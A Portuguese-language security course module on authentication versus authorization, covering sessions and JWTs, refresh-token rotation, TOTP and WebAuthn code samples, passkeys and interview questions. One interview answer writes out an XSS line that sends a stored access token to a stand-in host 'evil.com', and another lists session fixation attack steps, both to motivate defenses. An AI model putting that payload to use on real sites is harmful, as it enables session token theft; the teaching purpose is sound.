MÓDULO 11 · CONCEITO 03 DE 12

Autenticação vs Autorização — fundamentos e modelos

A distinção que mais confunde — session-based vs token-based, fatores de autenticação, MFA com TOTP e WebAuthn, passkeys, e como pensar autorização como problema separado

Tempo de leitura ~22 min Pré-requisito 02 · OWASP Top 10 Próximo 04 · OAuth 2.1 e OpenID Connect

Autenticação e autorização são as duas perguntas fundamentais de segurança de acesso, frequentemente confundidas até em documentação técnica de produtos maduros. Autenticação responde "quem é você?" — o processo de verificar que uma identidade é quem afirma ser. Autorização responde "o que você pode fazer?" — o processo de verificar que uma identidade autenticada tem permissão para executar uma ação específica sobre um recurso específico. As duas são distintas, acontecem em sequência, e têm superfícies de ataque completamente diferentes.

A confusão prática é que os dois processos frequentemente compartilham infraestrutura — o mesmo token JWT carrega tanto a identidade (autenticação) quanto os papéis (autorização). Mas isso não significa que são a mesma coisa. Um usuário autenticado mas não autorizado deve receber 403 Forbidden, não 401 Unauthorized. Um usuário não autenticado deve receber 401 Unauthorized, com um header WWW-Authenticate indicando como autenticar. Essa distinção de código de status não é pedantismo de protocolo — é informação que o cliente usa para tomar a ação correta.

Este conceito cobre os mecanismos de autenticação em profundidade: session-based vs token-based, os fatores de autenticação e sua resistência a ataques, MFA com TOTP e WebAuthn/FIDO2, e a emergência de passkeys como substituto de senha. A autorização — modelos RBAC, ABAC e ReBAC — tem conceito próprio no número 06, já que a profundidade que o tema merece não cabe aqui.

Session-based vs token-based — a escolha de onde o estado fica

A autenticação traditional na web é session-based: após login bem-sucedido, o servidor cria uma sessão com ID aleatório de alta entropia, persiste o estado da sessão (user_id, expiração, dados de contexto) no servidor, e envia o ID da sessão ao cliente via cookie HttpOnly; Secure; SameSite=Strict. Em cada requisição subsequente, o cliente envia o cookie, o servidor busca a sessão pelo ID, e o usuário está autenticado. Invalidação é imediata: deletar a sessão do servidor é suficiente.

A autenticação token-based — popularizada com a ascensão de SPAs e APIs consumidas por clientes mobile — coloca o estado no token. Um JWT assinado contém a identidade e os metadados necessários; qualquer servidor com a chave pública consegue validar o token sem consultar banco. Isso é o que torna JWT atraente para sistemas distribuídos: zero latência de lookup, zero dependência de storage compartilhado entre instâncias. O custo é a revogação: um token válido não pode ser invalidado antes de expirar sem algum mecanismo centralizado.

princípio orientador

A escolha entre session e token não é sobre qual é "mais moderno" — é sobre onde você quer que o estado de autenticação viva. Sessions vivem no servidor (fácil de revogar, requer storage compartilhado entre instâncias). Tokens vivem no cliente (sem storage central, revogação complicada). A decisão deve ser guiada por requisitos de revogação e topologia de implantação, não por preferência de framework.

Na prática, a solução mais adotada em sistemas modernos que precisam de tokens é o par access token + refresh token: o access token é um JWT de curta duração (15 minutos), stateless, que o cliente envia em cada requisição; o refresh token é de longa duração (7-30 dias), opaco, armazenado no servidor e enviado pelo cliente apenas para renovar o access token. Isso limita a janela de abuso de um access token vazado a 15 minutos, sem exigir blocklist de tokens de acesso — apenas do refresh token em caso de logout explícito.

// Ciclo de vida completo — Node.js com assimetria RS256
import jwt from 'jsonwebtoken';
import { randomBytes } from 'crypto';

// Login bem-sucedido
async function createTokenPair(userId: string) {
  const accessToken = jwt.sign(
    { sub: userId, type: 'access' },
    process.env.JWT_PRIVATE_KEY,     // chave RSA privada
    { algorithm: 'RS256', expiresIn: '15m', issuer: 'api.app.com', audience: 'app.com' }
  );

  const refreshToken = randomBytes(32).toString('hex');  // opaco, alta entropia
  await db.refreshTokens.create({
    token: hashToken(refreshToken),  // armazenar hash, não o token em claro
    userId,
    expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
  });

  return { accessToken, refreshToken };
}

// Renovação — validar refresh, emitir novo access
async function refresh(refreshToken: string) {
  const stored = await db.refreshTokens.findOne({ token: hashToken(refreshToken) });
  if (!stored || stored.expiresAt < new Date()) throw new Error('invalid refresh token');

  // Rotation: invalidar o refresh token usado e emitir um novo par
  await db.refreshTokens.delete({ token: hashToken(refreshToken) });
  return createTokenPair(stored.userId);
}

Fatores de autenticação — o que "algo que você sabe/tem/é" significa na prática

A classificação clássica de fatores de autenticação vem da teoria de segurança física adaptada para sistemas digitais:

Multi-factor authentication (MFA) combina pelo menos dois fatores de categorias diferentes. Senha + SMS é MFA, mas fraco — SIM swapping é um vetor real. Senha + TOTP (app de autenticação) é mais forte. Senha + chave de hardware (WebAuthn/FIDO2) é o padrão mais robusto disponível hoje para autenticação de usuário, resistente a phishing por design.

TOTP — Time-based One-Time Password

TOTP (RFC 6238) é o algoritmo por trás dos apps Google Authenticator, Authy, e Microsoft Authenticator. O mecanismo é elegante: durante o setup, servidor e cliente compartilham um segredo (uma sequência de bytes aleatórios, geralmente apresentada como QR code em base32). Para gerar o código de 6 dígitos, ambos calculam HOTP(segredo, floor(unix_timestamp / 30)) — um HMAC-SHA1 do segredo com o período de tempo atual como contador. Como ambos têm o mesmo segredo e o mesmo relógio, chegam ao mesmo resultado sem comunicação. O código muda a cada 30 segundos; o servidor aceita o período atual e os períodos adjacentes para tolerar desfasamento de relógio.

# Python — geração e verificação TOTP sem biblioteca externa
import hmac, hashlib, struct, time, base64

def hotp(secret_base32: str, counter: int) -> int:
    secret = base64.b32decode(secret_base32.upper())
    msg = struct.pack('>Q', counter)                         # 8 bytes big-endian
    h = hmac.new(secret, msg, hashlib.sha1).digest()
    offset = h[-1] & 0x0F
    code = struct.unpack('>I', h[offset:offset+4])[0]
    return (code & 0x7FFFFFFF) % 1_000_000                  # 6 dígitos

def totp(secret_base32: str, window: int = 1) -> list[int]:
    t = int(time.time()) // 30
    return [hotp(secret_base32, t + i) for i in range(-window, window+1)]

def verify_totp(secret_base32: str, code: int) -> bool:
    return code in totp(secret_base32)

TOTP é resistente a reutilização do código (cada código é válido apenas uma vez dentro da janela de 30 segundos) mas vulnerável a phishing em tempo real: um site falso pode capturar credencial e código TOTP e usá-los imediatamente antes de expirarem. WebAuthn resolve isso.

WebAuthn e FIDO2 — autenticação resistente a phishing

WebAuthn (Web Authentication API, W3C Recommendation 2019) é o padrão que transformou o hardware de segurança em commodity. Com WebAuthn, o autenticador (YubiKey, Face ID, Windows Hello, ou qualquer dispositivo FIDO2) gera um par de chaves assimétricas por site — nunca reutiliza a mesma chave entre diferentes origens. O servidor armazena a chave pública; a privada nunca sai do dispositivo.

O mecanismo de login: o servidor envia um challenge (nonce aleatório) junto com o origin do site. O autenticador assina o challenge com a chave privada correspondente àquele origin e retorna a assinatura. O servidor verifica com a chave pública que registrou. A resistência a phishing é estrutural: a chave privada é vinculada ao origin app.com — o autenticador recusa assinar para app-phishing.com, mesmo que o HTML seja idêntico. O protocolo garante que o usuário não pode ser enganado a autenticar no site errado.

// WebAuthn registration — browser (simplificado)
const credential = await navigator.credentials.create({
  publicKey: {
    challenge: new Uint8Array(serverChallenge),        // bytes do servidor
    rp: { name: "Minha App", id: "app.com" },
    user: { id: userId, name: email, displayName: name },
    pubKeyCredParams: [
      { type: "public-key", alg: -7 },                // ES256 (P-256)
      { type: "public-key", alg: -257 },              // RS256
    ],
    authenticatorSelection: {
      userVerification: "required",                   // exige PIN ou biometria
      residentKey: "preferred",                       // passkey behavior
    },
    timeout: 60000,
  }
});

// Enviar credential.response para o servidor para armazenar a chave pública

Passkeys — senhas sem senha

Passkeys são credenciais WebAuthn sincronizadas na nuvem — armazenadas no keychain do iCloud, Google Password Manager, ou 1Password — que permitem autenticação FIDO2 em múltiplos dispositivos sem hardware dedicado. O usuário desbloqueia o dispositivo com biometria ou PIN, e o sistema usa a chave privada correspondente ao site para autenticar. Não há senha para lembrar, reutilizar, ou vazar em phishing.

A adoção é acelerada: Apple (iOS 16/macOS Ventura, 2022), Google (Android 9+, Chrome), e Microsoft (Windows Hello) suportam passkeys. A Apple demonstrou em 2022 que o tempo médio de login com passkey é 3x mais rápido que com senha + TOTP, com taxa de sucesso significativamente maior. Para sistemas novos sem legado de base de usuários, passkeys como fator primário (com senha como fallback para dispositivos sem suporte) é a direção da indústria.

heurística do sênior

O objetivo de longo prazo da autenticação é eliminar senhas, não adicionarmos mais fatores em cima delas. Passkeys não são MFA — são autenticação de fator único mais forte que senha + TOTP porque são resistentes a phishing por design e não dependem de segredo compartilhado que pode vazar. A hierarquia de força: chave de hardware > passkey > TOTP > SMS > senha sozinha.

Fluxos de autenticação — o que o servidor deve verificar

Independente do mecanismo de autenticação, o servidor deve aplicar as mesmas verificações fundamentais antes de emitir qualquer sessão ou token:

// C# — verificação de senha com timing constante e rate limit
public async Task<AuthResult> AuthenticateAsync(string email, string password)
{
    // Rate limit por conta — independente do resultado
    if (await _rateLimiter.IsBlockedAsync($"login:{email}"))
        return AuthResult.TooManyAttempts();

    var user = await _users.FindByEmailAsync(email);

    // Hash dummy para garantir timing constante mesmo quando usuário não existe
    var storedHash = user?.PasswordHash ?? _dummyHash;
    var isValid = _passwordHasher.VerifyPassword(storedHash, password)
                  && user is not null;  // short-circuit só após verificação completa

    await _rateLimiter.RecordAttemptAsync($"login:{email}", success: isValid);

    if (!isValid) return AuthResult.InvalidCredentials();  // mesma mensagem sempre
    return AuthResult.Success(user!);
}

Autorização — o problema separado

Autenticação bem-sucedida estabelece identidade. O que essa identidade pode fazer é autorização — e as duas falham de formas completamente diferentes. Autenticação falha quando credenciais são comprometidas ou o mecanismo de verificação tem vulnerabilidades. Autorização falha quando a lógica de negócio não implementa corretamente as regras de acesso.

Os erros de autorização mais comuns são de dois tipos. O primeiro é autorização ausente: o desenvolvedor implementa autenticação no middleware mas esquece de verificar autorização no handler específico — "o usuário está logado, então pode ver qualquer documento". O segundo é autorização no lugar errado: verificação no frontend que o backend não repete — "o botão de deletar só aparece para admin" sem verificação no endpoint DELETE.

O princípio correto é deny by default: a postura padrão de qualquer endpoint é "negado", e a autorização é uma lista explícita de o que cada identidade pode fazer. Qualquer endpoint que não tem política de autorização explícita deve retornar 403 para qualquer chamada — não 200, não 401. O custo de negar acesso legítimo é um bug a corrigir; o custo de conceder acesso indevido é uma violação de dados.

armadilha clássica

Verificar autorização apenas no endpoint pai e não nas operações aninhadas. Um usuário autorizado a ler /projects/{id} não é automaticamente autorizado a ler /projects/{id}/members/{userId}. Cada recurso aninhado tem suas próprias regras de acesso — e essas regras precisam ser verificadas explicitamente, não herdadas implicitamente da autorização do recurso pai.

Gestão de sessão — o que vai errado depois do login

Autenticação bem-sucedida emite uma sessão ou token que precisa ser gerenciado pelo tempo de vida da autenticação. Os problemas mais comuns nessa fase:

O controle para session fixation é sempre gerar um novo session ID após autenticação bem-sucedida — nunca reaproveitar o ID que existia pré-login. Em frameworks como Express.js com express-session, isso é req.session.regenerate(); em ASP.NET Core, o comportamento correto é garantido pelo middleware de autenticação se configurado corretamente.

Decisões de Engenharia

Session-based vs token-based — quando usar cada um?

Sessions são a escolha certa quando: (1) você precisa de revogação imediata (logout força logout em todos os dispositivos); (2) a aplicação é server-rendered sem API separada; (3) o sistema não tem múltiplos serviços que precisam validar o mesmo token. Tokens (JWT) fazem sentido quando: (1) múltiplos serviços precisam validar autenticação sem consulta centralizada; (2) clients são mobile ou SPA consumindo API; (3) você tem arquitetura sem estado por design. O par access+refresh token combina as vantagens: stateless para validação, revogação via refresh token.

TOTP vs WebAuthn/passkey para MFA — o que recomendar?

Para novos sistemas sem base de usuários legacy: passkeys como fator primário (com senha como fallback), sem TOTP. Para sistemas com base existente: TOTP como MFA é o mínimo aceitável — migre para WebAuthn/passkeys progressivamente. Nunca SMS como único segundo fator: SIM swapping é um vetor real documentado em ataques a contas de alto valor. A hierarquia de força: chave física (YubiKey) > passkey sincronizado > TOTP (app) > SMS. Cada nível acima é significativamente mais resistente a phishing.

JWT em cookie HttpOnly vs localStorage — onde armazenar?

Cookie HttpOnly; Secure; SameSite=Strict é sempre a resposta correta para tokens de sessão: inacessível ao JavaScript (imune a XSS), enviado automaticamente pelo browser, protegido contra CSRF via SameSite. localStorage é acessível por qualquer JavaScript no domínio — um XSS captura o token instantaneamente. O argumento "cookie não funciona para mobile" é falso: cookies funcionam em apps mobile que usam WebView ou requisições HTTP. A única exceção real é APIs consumidas por clientes que não gerenciam cookies (ex: servidor para servidor), onde o token em header Authorization é adequado.

Rotação de refresh token vs sliding session — qual estratégia?

Rotação de refresh token (cada uso emite um novo par e invalida o anterior) é mais segura: se um refresh token vazado for usado, o próximo uso pelo cliente legítimo falha (o token já foi rotacionado), e isso pode ser detectado como sinal de comprometimento. Sliding session (cada uso estende o timeout por mais N dias) é mais simples mas não detecta uso paralelo. Para sistemas com requisitos de segurança elevados (bancário, saúde): rotação + detecção de reuse (se o mesmo refresh token é usado duas vezes, revogar toda a família de tokens do usuário). Para SaaS padrão: rotação simples com TTL de 30 dias.

Perguntas de Entrevista

    Qual a diferença entre autenticação e autorização? Dê um exemplo de como cada uma pode falhar independentemente da outra.

    Autenticação responde "quem é você?" — verifica que a identidade que afirma ser o usuário X é de fato o usuário X. Falha quando as credenciais são comprometidas (phishing, breach, credential stuffing), quando o mecanismo de verificação tem vulnerabilidades (JWT sem validação de algoritmo, token com baixa entropia), ou quando o processo de recuperação de conta tem falhas (email de reset sem expiração, perguntas de segurança adivinháveis).

    Autorização responde "o que você pode fazer?" — verifica que o usuário autenticado X tem permissão para executar a ação A no recurso R. Falha quando o backend não verifica ownership (IDOR), quando a verificação acontece só no frontend, quando papéis são concedidos generosamente demais, ou quando a lógica de autorização é fragmentada e inconsistente entre endpoints.

    Exemplo de falha isolada: um sistema com 2FA bem implementado (autenticação forte) pode ter IDOR em todos os endpoints (autorização falha). Um usuário autenticado corretamente ainda consegue acessar dados de qualquer outro usuário trocando o ID na URL. A autenticação funcionou perfeitamente; a autorização nunca foi implementada. O inverso também existe: um sistema com RBAC granular (autorização forte) mas que aceita tokens JWT sem verificar a assinatura (autenticação falha) — qualquer um pode forjar um token com qualquer papel.

    Explique o par access token + refresh token. Por que o refresh token é opaco e armazenado no servidor, enquanto o access token é stateless?

    O par resolve uma tensão fundamental: tokens stateless (JWT) não podem ser revogados antes de expirar — qualquer servidor com a chave pública os aceita. Tokens com revogação requerem lookup central em cada requisição, eliminando o benefício de stateless.

    A solução do par: o access token é um JWT de curta duração (15 minutos), stateless, validado sem consulta ao banco. Se vazado, fica explorável apenas por 15 minutos. O refresh token é opaco (bytes aleatórios de alta entropia), armazenado com hash no banco, e usado apenas para renovar o par — não para acessar recursos. Sua validade é longa (30 dias) mas verificada em banco a cada uso: se o usuário faz logout ou o token é suspeito de comprometimento, o servidor deleta o refresh token e o próximo uso falha imediatamente.

    Por que opaco e não outro JWT? Um JWT como refresh token seria autossuficiente — o servidor não precisaria consultá-lo no banco. Isso elimina a capacidade de revogação. Um token opaco só é válido se existir no banco. Armazenar o hash (não o token em claro) protege contra vazamento do banco: mesmo com acesso ao banco, o atacante tem o hash SHA-256 — não o token que o cliente envia.

    O que é TOTP e por que é mais forte que SMS mas mais fraco que WebAuthn para MFA?

    TOTP (RFC 6238) gera códigos de 6 dígitos derivados de um segredo compartilhado e do timestamp atual dividido em janelas de 30 segundos. Como o segredo está no app de autenticação (não no servidor de SMS), não depende da operadora telefônica — imune a SIM swapping. Mais forte que SMS por esse motivo.

    A fraqueza do TOTP é a vulnerabilidade a phishing em tempo real: um site falso pode capturar email + senha + código TOTP e usá-los imediatamente (dentro dos 30 segundos de validade). O atacante opera um proxy reverso — o usuário acha que está autenticando em banco.com, está autenticando em banco-atualização.com que retransmite tudo em tempo real para o banco real. O usuário vê a tela real, o atacante obtém a sessão autenticada.

    WebAuthn/FIDO2 é resistente a phishing por design: a chave privada é vinculada ao origin (banco.com) durante o registro. Quando o protocolo autentica, o autenticador verifica que o origin do pedido é exatamente banco.com — o site falso (banco-atualização.com) recebe recusa. O protocolo garante que o par de chaves nunca é reutilizado entre origens diferentes, tornando o phishing estruturalmente impossível — não apenas improvável.

    O que é session fixation e como o ataque funciona? Como prevenir?

    Session fixation é um ataque onde o adversário faz o cliente usar um session ID que o adversário já conhece — assim, quando o cliente se autentica com esse ID fixado, o adversário pode usar o mesmo ID para acessar a sessão autenticada sem conhecer as credenciais.

    O ataque clássico: (1) o atacante acessa o site e obtém um session ID pré-autenticação, ex: sess=abc123; (2) o atacante injeta esse ID no cliente da vítima via XSS, link manipulado (?PHPSESSID=abc123), ou subdomínio com escrita de cookie; (3) a vítima autentica com suas credenciais usando o cookie abc123; (4) o servidor associa a autenticação ao ID já existente; (5) o atacante usa sess=abc123 — que agora está autenticado como a vítima.

    A prevenção é simples e obrigatória: sempre regenerar o session ID após autenticação bem-sucedida. Em Express.js: req.session.regenerate(callback); em PHP: session_regenerate_id(true); em ASP.NET Core: o middleware de autenticação faz isso se configurado corretamente. O novo session ID não pode ser previsto ou fixado pelo atacante. Adicionalmente, cookies com SameSite=Strict bloqueiam a maioria dos vetores de injeção de cookie via link externo.

    Por que armazenar JWT em localStorage é um antipadrão de segurança? Qual é a alternativa correta e suas trade-offs?

    localStorage (e sessionStorage) é acessível por qualquer JavaScript executando no domínio — incluindo scripts de terceiros (analytics, CDNs), extensões de browser, e qualquer XSS. Um único XSS no domínio permite fetch('https://evil.com/?t=' + localStorage.getItem('access_token')) — o token é exfiltrado imediatamente, silenciosamente, sem nenhum artefato visível. O atacante então tem o JWT válido até sua expiração, podendo usá-lo de qualquer lugar.

    A alternativa correta é cookie HttpOnly; Secure; SameSite=Strict: HttpOnly torna o cookie inacessível ao JavaScript — document.cookie não o retorna, nenhum script pode lê-lo. SameSite=Strict impede que o browser envie o cookie em requisições cross-site, bloqueando CSRF. Secure garante que o cookie só é enviado em HTTPS.

    O trade-off: cookies com SameSite=Strict não são enviados em requisições iniciadas por links externos (ex: usuário clica em link de email que vai para a aplicação) — o usuário aparece como não autenticado na primeira carga. SameSite=Lax resolve isso para navegação normal mas é menos restritivo. Para APIs consumidas por clientes mobile nativos (não WebView), cookies não são gerenciados automaticamente — token em memória volátil da app (não em storage persistente) é a alternativa.

Como praticar

  1. Implementar o par access token + refresh token do zero. Em qualquer linguagem, implemente: endpoint de login que emite JWT RS256 (15 min) + refresh token opaco armazenado com SHA-256 no banco, endpoint /auth/refresh com rotação do par, e /auth/logout que invalida o refresh token. Inclua rate limiting por email com backoff exponencial.
    Critério: Refresh token é armazenado como hash (não em claro) no banco; após logout, o mesmo refresh token é rejeitado com 401; rate limit bloqueia a conta após 5 tentativas falhas em 5 minutos, não apenas por IP; o JWT usa RS256 (não HS256) com par de chaves assimétrico.
  2. Adicionar TOTP a uma API existente. Implemente geração de segredo com QR code para setup (biblioteca pyotp, otp.NET, ou pquerna/otp), verificação com janela de ±1 período, e marcação de "TOTP verificado" na sessão para não pedir a cada requisição. Teste com clock skew de 60 segundos.
    Critério: QR code é escaneável pelo Google Authenticator ou Authy e gera códigos válidos; código de 30 segundos atrás é aceito (janela de tolerância), código de 120 segundos atrás é rejeitado; o segredo nunca aparece em logs.
  3. Auditar cookies de sessão de uma aplicação que você controla. Abra DevTools → Application → Cookies. Verifique: HttpOnly, Secure, SameSite, tempo de expiração, e se o cookie é válido no servidor após logout. Teste session fixation: anote o session ID pré-login e verifique se muda após login bem-sucedido.
    Critério: Lista de pelo menos 3 gaps encontrados com severidade; se o session ID não muda após login, implementar regenerate() e verificar que a falha foi corrigida; documentar se a sessão expira no servidor (não apenas no cliente) após timeout.
  4. Implementar WebAuthn em uma aplicação de teste. Use as bibliotecas SimpleWebAuthn (Node.js) ou webauthn4j (Java) para implementar registro e autenticação via passkey. Registre uma credencial com biometria do dispositivo e autentique sem senha.
    Critério: Registro salva a chave pública corretamente e rejeita o mesmo authenticatorId duas vezes; autenticação verifica o challenge, o rpId, e a assinatura criptograficamente; tentar autenticar com o challenge errado (replay attack) resulta em 401.
  5. Implementar breached password detection no cadastro. Integre a API de senhas comprometidas do HaveIBeenPwned usando k-anonymity: compute SHA-1 da senha, envie os primeiros 5 caracteres, verifique se o hash completo está na lista retornada. Bloqueie senhas com mais de 10 ocorrências em breaches.
    Critério: A senha 123456 é rejeitada no cadastro; senhas únicas e aleatórias são aceitas; o código nunca envia a senha completa nem o hash completo para a API externa; a verificação funciona mesmo sem conexão com a API (fallback gracioso, não bloqueio de cadastro).

Referências para aprofundar

  1. docs Web Authentication API (WebAuthn) — W3C Recommendation. A especificação oficial do WebAuthn. w3.org/TR/webauthn-2. Inclui o modelo de segurança, o protocolo de registro e autenticação, e as garantias que o protocolo oferece. Leitura essencial para implementação correta.
  2. docs FIDO2 / Passkeys — FIDO Alliance. fidoalliance.org/fido2. Documentação da aliança que define o padrão FIDO2. Inclui o guia de implementação de passkeys com exemplos para diferentes plataformas e casos de uso de fallback.
  3. docs OWASP Authentication Cheat Sheet — OWASP Foundation. cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet. Referência prática de controles de autenticação: armazenamento de credenciais, tentativas de login, gestão de sessão, MFA. Atualizado regularmente com casos reais.
  4. docs OWASP Session Management Cheat Sheet — OWASP Foundation. cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet. Detalha cookies de sessão, tokens, invalidação, e todos os ataques contra gestão de sessão com controles correspondentes.
  5. article TOTP RFC 6238 — M'Raihi et al. (IETF, 2011). A RFC que define TOTP — leitura de 20 minutos, inclui o algoritmo completo e vetores de teste para verificar implementações. tools.ietf.org/html/rfc6238.
  6. article Passkeys: What the Heck and Why? — Troy Hunt (troyhunt.com, 2022). Explicação acessível de passkeys por quem mantém o HaveIBeenPwned. Cobre a UX, o modelo de segurança comparado a TOTP, e por que a migração de senhas para passkeys beneficia usuários menos técnicos desproporcionalmente.
  7. book Hacking APIs — Corey Ball (No Starch, 2022). Capítulos sobre autenticação de API cobrem falhas reais em autenticação de APIs REST e GraphQL — JWT sem verificação de assinatura, tokens de sessão previsíveis, ausência de rate limiting em login. Perspectiva ofensiva que complementa a defensiva.
  8. article The Copenhagen Book — Web Application Auth — Pilcrow (pilcrowonpaper.com, 2024). Guia moderno e prático de autenticação para aplicações web — sessões, tokens, OAuth, MFA. Focado em implementação correta com exemplos em múltiplas linguagens. Gratuito online.
  9. video Password-less Authentication with WebAuthn — Google Chrome Developers (YouTube, 2023). Demo técnico de implementação de passkeys com a WebAuthn API — registro, autenticação, e sincronização entre dispositivos. Aproximadamente 45 minutos com código completo.
  10. paper The Science of Guessing: Analyzing an Anonymized Corpus of 70 Million Passwords — Joseph Bonneau (IEEE S&P 2012). Análise empírica da distribuição de senhas reais. Quantifica por que restrições de complexidade (maiúsculas obrigatórias) têm pouco efeito na segurança real enquanto comprimento tem muito. Fundamenta por que passkeys e password managers são as soluções corretas.
  11. book OAuth 2 in Action — Richer e Sanso (Manning, 2017). Cobre gestão de sessão baseada em tokens em profundidade, incluindo o par access/refresh token, rotação de refresh token, e padrões de revogação. Preparação para o próximo conceito (OAuth 2.1).
  12. article k-Anonymity with HaveIBeenPwned Passwords API — Troy Hunt (troyhunt.com, 2018). Explica como a API de senhas comprometidas funciona sem revelar a senha verificada — os 5 primeiros caracteres do hash SHA-1 são enviados, o servidor retorna todos os hashes com esse prefixo. haveibeenpwned.com/API/v3#searchingPwnedPasswordsByRange.